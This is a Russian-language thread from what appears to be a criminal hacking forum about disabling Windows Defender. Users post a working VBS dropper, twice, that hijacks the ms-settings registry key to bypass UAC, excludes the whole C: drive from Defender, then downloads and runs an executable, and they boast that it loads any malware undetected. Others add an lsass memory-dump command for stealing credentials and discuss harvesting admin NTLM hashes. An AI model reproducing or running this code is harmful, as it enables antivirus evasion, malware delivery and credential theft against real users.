• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Отключаем Windows Defender (+ UAC Bypass, + Повышение до уровня SYSTEM)

приветствую, нсколько еще актуален этот способ? И второй вопрос, я так понимаю, что идет взаимодейтсвие идет через WinAPI, а есть ли возможность это сделать из под командной строки, учитывая что у меня доступ к ней из под SYSTEM?
 
приветствую, нсколько еще актуален этот способ?
Уже нет, насколько я помню были введены обновления SACL, которые просто не позволяют теперь вытворять подобные штуки.
 
приветствую, нсколько еще актуален этот способ? И второй вопрос, я так понимаю, что идет взаимодейтсвие идет через WinAPI, а есть ли возможность это сделать из под командной строки, учитывая что у меня доступ к ней из под SYSTEM?
если у тебя есть доступ из под system то ты без проблем можешь выполнить команду "powershell Set-MpPreference -DisableRealtimeMonitoring 1" или даже удалить его полностью с системы
а лучше просто добавить весь диск в исключение так менее палевно будет
 
Последнее редактирование:
Можно написать vbs скрипт дроппера с функцией bypass uac и добавления в исключение всего локального диска и грузить любую малварь уже без детекта дефендера.
благо vbs и bat проще обфусцировать.

как время будет сделаю и опубликую тут может кому пригодится
 
Код:
Dim IMG, psd, SADIS, ADO, wn
Dim SelfFolderPath, UserName, Self
Set IMG = CreateObject("Scripting.FileSystemObject")
Set psd = CreateObject("Wscript.Shell")
Set SADIS = CreateObject("Shell.Application")

Call ScreenDEL(1, False)

SelfFolderPath = FormatPath(IMG.GetFile(WScript.ScriptFullName).ParentFolder.Path)

psd.Run "powershell -windowstyle hidden -command Add-MpPreference -ExclusionPath C:\"

Wscript.Sleep 8000

psd.Run "powershell -windowstyle hidden -Command Invoke-WebRequest https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe -OutFile %TEMP%/putty.exe"

Wscript.Sleep 10000

psd.Run "%TEMP%/putty.exe"



Function ScreenDEL(ByVal Host, ByVal Hide)
    On Error Resume Next: Err.Clear
    Dim HostName, Args, i, Argv, TFPath, HAVIG
    If Host = 1 Then HostName = "wscript.exe"
    If Host = 2 Then HostName = "cscript.exe"
    Set Argv = WScript.Arguments
    For Each Arg in Argv
        Args = Args & " " & Chr(60) & Arg & Chr(60)
    Next
    TFPath = IMG.GetSpecialFolder(WindowsFolder) & "\system32\Tester"
    IMG.CreateTextFile TFPath, True
    HAVIG = IMG.FileExists(TFPath) And Err.number <> 70
    If HAVIG Then IMG.DeleteFile TFPath, True
    If Not HAVIG Then
        psd.RegWrite "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command\DelegateExecute", "", "REG_SZ"
        psd.RegWrite "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command\", "wscript.exe " & Chr(60) & WScript.ScriptFullName & chr(60) & " uac" & Args, "REG_SZ"
        psd.Run "slui.exe"
        WScript.Quit
    ElseIf LCase(Right(WScript.FullName,12)) <> "\" & HostName Then
        psd.Run HostName & " //e:VBScript """ & WScript.ScriptFullName & """" & Args, Int(Hide)+1, False
        WScript.Quit
    Else
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command\"
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\"
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\"
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\"
    End If
    If Host = 2 Then ExecuteGlobal "Dim SI, SO: Set SI = Wscript.StdIn: Set SO = Wscript.StdOut"
End Function

Function GetUAC(ByVal Host, ByVal Hide)

    On Error Resume Next: Err.Clear
    Dim HostName, Args, i, Argv, TFPath, HAVIG
    If Host = 1 Then HostName = "wscript.exe"
    If Host = 2 Then HostName = "cscript.exe"
    Set Argv = WScript.Arguments
    For Each Arg in Argv
        Args = Args & " " & Chr(34) & Arg & Chr(34)
    Next
    TFPath = IMG.GetSpecialFolder(WindowsFolder) & "\system32\Tester"
    IMG.CreateTextFile TFPath, True
    HAVIG = IMG.FileExists(TFPath) And Err.number <> 70
    If HAVIG Then IMG.DeleteFile TFPath, True
    If Not HAVIG Then
        SADIS.ShellExecute "wscript.exe", "//e:VBScript " & Chr(34) & WScript.ScriptFullName & chr(34) & Args, "", "runas", 1
        WScript.Quit
    ElseIf LCase(Right(WScript.FullName,12)) <> "\" & HostName Then
        psd.Run HostName & " //e:VBScript """ & WScript.ScriptFullName & """" & Args, Int(Hide)+1, False
        WScript.Quit
    End If
    If Host = 2 Then ExecuteGlobal "Dim SI, SO: Set SI = Wscript.StdIn: Set SO = Wscript.StdOut"
End Function


Function FormatPath(ByVal Path)
    If Not Right(Path, 1) = "\" Then
        Path = Path & "\"
    End If
    FormatPath = Path
End Function

Function CreateTempPath(ByVal IsFolder)
    Dim TempPath
    TempPath = FSO.GetSpecialFolder(2) & "\" & FSO.GetTempName()
    If IsFolder Then TempPath = FormatPath(TempPath)
    CreateTempPath = TempPath
End Function

с включенным Defender скрипт отрабатывает полностью без детекта.

Сначала через bypass uac добавляется весь локальный диск в исключение а потом уже идет подгрузка и запуск exe
 
Код:
Dim IMG, psd, SADIS, ADO, wn
Dim SelfFolderPath, UserName, Self
Set IMG = CreateObject("Scripting.FileSystemObject")
Set psd = CreateObject("Wscript.Shell")
Set SADIS = CreateObject("Shell.Application")

Call ScreenDEL(1, False)

SelfFolderPath = FormatPath(IMG.GetFile(WScript.ScriptFullName).ParentFolder.Path)

psd.Run "powershell -windowstyle hidden -command Add-MpPreference -ExclusionPath C:\"

Wscript.Sleep 8000

psd.Run "powershell -windowstyle hidden -Command Invoke-WebRequest https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe -OutFile %TEMP%/putty.exe"

Wscript.Sleep 10000

psd.Run "%TEMP%/putty.exe"



Function ScreenDEL(ByVal Host, ByVal Hide)
    On Error Resume Next: Err.Clear
    Dim HostName, Args, i, Argv, TFPath, HAVIG
    If Host = 1 Then HostName = "wscript.exe"
    If Host = 2 Then HostName = "cscript.exe"
    Set Argv = WScript.Arguments
    For Each Arg in Argv
        Args = Args & " " & Chr(60) & Arg & Chr(60)
    Next
    TFPath = IMG.GetSpecialFolder(WindowsFolder) & "\system32\Tester"
    IMG.CreateTextFile TFPath, True
    HAVIG = IMG.FileExists(TFPath) And Err.number <> 70
    If HAVIG Then IMG.DeleteFile TFPath, True
    If Not HAVIG Then
        psd.RegWrite "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command\DelegateExecute", "", "REG_SZ"
        psd.RegWrite "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command\", "wscript.exe " & Chr(60) & WScript.ScriptFullName & chr(60) & " uac" & Args, "REG_SZ"
        psd.Run "slui.exe"
        WScript.Quit
    ElseIf LCase(Right(WScript.FullName,12)) <> "\" & HostName Then
        psd.Run HostName & " //e:VBScript """ & WScript.ScriptFullName & """" & Args, Int(Hide)+1, False
        WScript.Quit
    Else
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command\"
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\"
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\"
        psd.RegDelete "HKEY_CURRENT_USER\Software\Classes\ms-settings\"
    End If
    If Host = 2 Then ExecuteGlobal "Dim SI, SO: Set SI = Wscript.StdIn: Set SO = Wscript.StdOut"
End Function

Function GetUAC(ByVal Host, ByVal Hide)

    On Error Resume Next: Err.Clear
    Dim HostName, Args, i, Argv, TFPath, HAVIG
    If Host = 1 Then HostName = "wscript.exe"
    If Host = 2 Then HostName = "cscript.exe"
    Set Argv = WScript.Arguments
    For Each Arg in Argv
        Args = Args & " " & Chr(34) & Arg & Chr(34)
    Next
    TFPath = IMG.GetSpecialFolder(WindowsFolder) & "\system32\Tester"
    IMG.CreateTextFile TFPath, True
    HAVIG = IMG.FileExists(TFPath) And Err.number <> 70
    If HAVIG Then IMG.DeleteFile TFPath, True
    If Not HAVIG Then
        SADIS.ShellExecute "wscript.exe", "//e:VBScript " & Chr(34) & WScript.ScriptFullName & chr(34) & Args, "", "runas", 1
        WScript.Quit
    ElseIf LCase(Right(WScript.FullName,12)) <> "\" & HostName Then
        psd.Run HostName & " //e:VBScript """ & WScript.ScriptFullName & """" & Args, Int(Hide)+1, False
        WScript.Quit
    End If
    If Host = 2 Then ExecuteGlobal "Dim SI, SO: Set SI = Wscript.StdIn: Set SO = Wscript.StdOut"
End Function


Function FormatPath(ByVal Path)
    If Not Right(Path, 1) = "\" Then
        Path = Path & "\"
    End If
    FormatPath = Path
End Function

Function CreateTempPath(ByVal IsFolder)
    Dim TempPath
    TempPath = FSO.GetSpecialFolder(2) & "\" & FSO.GetTempName()
    If IsFolder Then TempPath = FormatPath(TempPath)
    CreateTempPath = TempPath
End Function

с включенным Defender скрипт отрабатывает полностью без детекта.

Сначала через bypass uac добавляется весь локальный диск в исключение а потом уже идет подгрузка и запуск exe

Код:
можно добавить это - psd.Run "powershell rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id lsass.dmp full"
дамп lsass создается в обход uac.
но при запуске есть detect
 
Проблема в том, что в последнем обновлении windows 11 по дефолту включена защита процесса lsass в реестре
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\LSASS.exe AuditLevel REG_DWORD 0x8, которая защищена от изменений с помощью UEFISecureBoot. Получается, любые изменения системных виндоус файлов в папке system32, удаление или редактирование веток реестра с LSASS.exe AuditLevel REG_DWORD 0x0 или EFISecureBootEnabled 0x0, все это обратно откатывается на прежние значения после перезагрузки винды и теперь получить пароли и ntlm хэшы админов на более менее современных компах у меня не получается, поскольку SecureBoot отключается только через UEFI bios. У меня остается только вариант с логером и блокировкой экрана, что правда иногда вызывает некие подозрения у прошаренных сис админов, ковыряющихся в виндоус логах как в носу.
 
Проблема в том, что в последнем обновлении windows 11 по дефолту включена защита процесса lsass в реестре
В вин 11 24H2 вообще многое позакрывали по дефолту, я это с начала года наблюдал в инсайдерских версиях.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх